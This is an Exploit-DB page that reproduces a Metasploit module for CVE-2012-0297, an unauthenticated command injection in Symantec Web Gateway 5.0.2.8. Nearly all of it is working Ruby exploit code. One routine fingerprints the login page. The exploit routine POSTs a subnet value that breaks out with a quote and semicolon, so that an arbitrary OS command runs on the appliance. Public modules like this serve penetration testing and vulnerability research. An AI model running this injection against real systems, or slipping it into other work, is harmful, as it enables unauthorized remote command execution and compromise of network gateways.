Symantec Web Gateway 5.0.2.8 – ‘ipchange.php’ Command Injection (Metasploit)

  • 作者: Metasploit
    日期: 2012-06-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/19065/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection",
    			'Description'=> %q{
    					This module exploits a command injection vulnerability found in Symantec Web
    				Gateway's HTTP service due to the insecure usage of the exec() function. This module
    				abuses the spywall/ipchange.php file to execute arbitrary OS commands without
    				authentication.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'Tenable Network Security', # Vulnerability Discovery
    					'juan vazquez' # Metasploit module
    				],
    			'References' =>
    				[
    					[ 'CVE', '2012-0297' ],
    					[ 'BID', '53444' ],
    					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-090' ],
    					[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
    				],
    			'Payload'=>
    				{
    					'BadChars' => "\x00\x0d\x0a\x26",
    					'Compat'=>
    						{
    							'PayloadType' => 'cmd',
    							'RequiredCmd' => 'generic perl',
    						}
    				},
    			'Platform' => ['unix'],
    			'Arch' => ARCH_CMD,
    			'Targets'=>
    				[
    					['Symantec Web Gateway 5.0.2.8', {}],
    				],
    			'Privileged' => false,
    			'DisclosureDate' => "May 17 2012",
    			'DefaultTarget'=> 0))
    	end
    
    
    	def check
    		res = send_request_raw({
    			'method' => 'GET',
    			'uri'=> '/spywall/login.php'
    		})
    
    		if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
    			return Exploit::CheckCode::Detected
    		else
    			return Exploit::CheckCode::Safe
    		end
    	end
    
    	def exploit
    		uri = target_uri.path
    		uri << '/' if uri[-1,1] != '/'
    
    		peer = "#{rhost}:#{rport}"
    
    		post_data = "subnet="
    		post_data << "\";" + payload.raw + ";#"
    
    		print_status("#{peer} - Sending Command injection")
    		res = send_request_cgi({
    			'method' => 'POST',
    			'uri'=> "#{uri}spywall/ipchange.php",
    			'data' => post_data
    		})
    
    		# If the server doesn't return the default redirection, probably
    		# something is wrong
    		if not res or res.code != 302 or res.headers['Location'] !~ /SW\/admin_config.php/
    			print_error("#{peer} - Probably command not executed, aborting!")
    			return
    		end
    
    	end
    
    
    end